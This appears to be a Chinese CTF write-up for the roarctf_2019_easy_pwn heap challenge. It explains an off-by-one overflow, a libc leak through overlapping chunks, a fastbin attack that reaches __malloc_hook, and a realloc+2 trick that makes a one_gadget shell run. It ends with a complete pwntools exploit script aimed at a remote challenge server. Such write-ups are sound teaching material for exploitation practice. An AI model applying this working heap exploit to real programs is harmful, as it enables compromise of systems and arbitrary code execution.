roarctf_2019_easy_pwn
1 2 3 4 5
| Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
因为多次调试所以图片中的地址会不一样
0x01 功能介绍
偷懒了这里就不详细讲代码了
先来说下堆块索引表的结构
这题是开了PIE的,堆索引表的偏移为0x202040
在创建了堆块后堆索引表的结构是这样的
1 2 3 4 5 6
| struct chunk_index { int size; int flag; long chunk_ptr }
|
下面说下功能
1.创建
本题用calloc创建堆块
不能创建超过16个堆块
首先判断索引表的flag是否为1,如为1就继续往下找为0的地方写入索引信息
calloc在创建后会把堆中的数据都置零
堆块的大小不能超过0x1000
创建完成后把堆大小,是否启用,堆指针写入堆索引表
2.写入
接收索引后去索引表检测堆块是否启用
接收用户想写入的大小,和堆索引表记录的实际大小比较
在比较的这个函数中有off-by-one问题,如果用户输入比实际大小多10字节则可以多写入一字节
最后接收内容写入堆块
3.释放
接收索引后去索引表检测堆块是否启用
释放堆后再将索引表的信息都置零
4.输出
接收索引后去索引表检测堆块是否启用
打印堆块中内容
0x02 解题步骤
1.利用off-by-one泄露出libc地址
- 创建2个0x18的堆块,创建0x68的堆块,再创建0x18的堆块
- 利用单字节溢出将1堆块的size位修改为0x91
- 释放1堆块,此时2堆块也被释放了,但是索引表还存着2堆块的信息,因为0x91已经超过了fastbin被放到unsortedbin了,释放的堆块中会存着main_arena的地址,可以通过泄露改地址计算libc基址
- 再创建0x18的堆块,在unsortedbin取了0x18字节后fd和bk会向下,输出第二个堆块的内容可以得到main_arena地址
- 计算得到libc基址,malloc_hook地址和realloc_hook地址
2. 利用fastbin attack申请到__malloc_hook附近的地址
- 创建0x68的堆块把unsortedbin全用掉
- 创建2个0x18堆块和2个0x68堆块,此时堆块对应的索引为5678
- 修改第5个堆块利用off-by-one将第6个堆块的size位改为0x91
- 释放第6个堆块和第7个堆块,相当于释放了0x91和0x71,0x91进入unsortedbin,0x71进入fastbin,此时bins是这样的
- 再申请0x78大小的堆块,再次查看bins
- 下次再申请0x68的堆块就会先取fastbin里面的地址了,但是上面已经申请了0x78的大小,可以通过写入取控制fastbin的链表,将想申请的位置写在chunk+0x10对应上图也就是0x5571c950e110+0x10的位置
- 因为要满足堆块的结构所以位置选择在malloc_hook-0x23,只要size位正常就可以
- 再次创建2个0x68大小的堆块,第2次创建就在malloc_hook-0x23的位置,将malloc_hook的值修改为one_gadget
3.使用realloc修改栈使one_gadget正常运行
这应该算是一个技巧了,如果直接使用one_gadget会出现这种情况
虽然one_gadget提示的是rsp+0x30==NULL
不过实际情况这个参数不是null导致/bin/sh不能正常执行
所以需要在malloc_hook写入realloc+2,用realloc去执行gadget,使栈内参数正常
可以看到realloc过来执行one_gadget后第二个参数为0,one_gadget可以正常运行
布置的时候把realloc+2写入malloc_hook位置,one_gadget写入malloc_hook-0x8位置
至于为啥这样布置可能就要读源码..不过我这种只要会用就好..以后再去详细了解
0x03 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| from pwn import * from LibcSearcher import *
context(os="linux", arch="amd64", log_level="debug") pwnfile = "./roarctf_2019_easy_pwn" io = process(pwnfile) elf = ELF(pwnfile) libc = ELF("/home/hacker/pwn/libc.so.6")
host = "node4.buuoj.cn" port = 26177 io = remote(host, port)
def create(size): io.sendlineafter("choice: ", "1") io.sendlineafter("size: ", str(size))
def edit(index, size, content): io.sendlineafter("choice: ", "2") io.sendlineafter("index: ", str(index)) io.sendlineafter("size: ", str(size)) io.sendlineafter("content: ", content)
def drop(index): io.sendlineafter("choice: ", "3") io.sendlineafter("index: ", str(index))
def show(index): io.sendlineafter("choice: ", "4") io.sendlineafter("index: ", str(index))
create(0x18) create(0x18) create(0x68) create(0x18)
payload = 'a' * 0x18 edit(0, len(payload)+10, payload+'\x91') drop(1)
create(0x18) show(2)
io.recvuntil("content: ") leak_address = u64(io.recv(6).ljust(8,'\x00')) log.success(hex(leak_address))
libc_base = leak_address - 88 -0x3c4b20
log.success(hex(libc_base))
malloc_hook = libc_base +libc.symbols["__malloc_hook"] log.success(hex(malloc_hook))
realloc = libc_base +libc.symbols["__libc_realloc"] log.success(hex(realloc))
one_gadget = libc_base + 0x4526a
create(0x68) create(0x18) create(0x18) create(0x68) create(0x68)
payload = 'a' * 0x18 edit(5, len(payload)+10, payload+'\x91')
drop(6) drop(7) create(0x78)
payload = 'a'*0x10 + '\x00' * 8 + p64(0x71) + p64(malloc_hook-0x23) + '\x00'*70 edit(6, len(payload), payload)
create(0x68) create(0x68)
payload = '\x00'*0x3 + p64(0) + p64(one_gadget) + p64(realloc+2) edit(9, len(payload), payload)
create(0x68)
io.interactive()
|
不同的libc偏移要重新计算,这里的偏移都是打远程的,计算main_arena的偏移可以用main_arena_offset